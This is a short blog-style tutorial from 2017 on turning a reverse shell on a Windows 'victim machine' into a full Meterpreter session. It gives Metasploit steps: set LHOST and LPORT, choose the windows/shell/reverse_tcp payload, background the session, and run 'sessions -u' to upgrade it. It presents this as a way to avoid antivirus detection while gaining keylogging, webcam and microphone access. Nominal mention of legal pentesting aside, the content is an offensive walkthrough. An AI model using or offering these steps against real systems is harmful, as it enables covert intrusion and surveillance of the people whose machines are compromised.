Reverse Shell To Meterpeter [14/05/2017]

    When you are doing a pentest or other LEGAL system exploitation you will ussaly want to avoid detection one of the best ways is to create a reverse shell using built it system commands such as netcat on linux or a powershell script on windows this allows you to use the system native functions to get access and avoid downloading programs onto the target system but somethings you want more than just a shell well thats where metasploit comes in. Metasploit's meterperter payload lets you do allot more than just standard windows commands with meterperter you can do stuff like keylogging, taking pictures, recording microphones and a whole lot more but you don't want to just create a metasploit binary and run that on the target machine as that will likely get detected by the antivirus so the solotion is to use the following steps to upgrade your reverse shell to a full meterpeter session :

  • Load up metasploit
  • Set LPORT
    Set LHOST
    Set payload/windows/shell/reverse_tcp

  • Ok so now you should be able to run your reverse shell on the victim machine and get a shell with metasploit but we want to upgrade this so now we do this :
  • Press CTRL + Z to background the session
  • Type sessions --list to get your current sessions if you have more than one
  • Run sessions -u [ID] eg. sessions -u 1.

  • So now you should be able to use sessions -i [ID] to reconnect to your shell now with meterperter commands.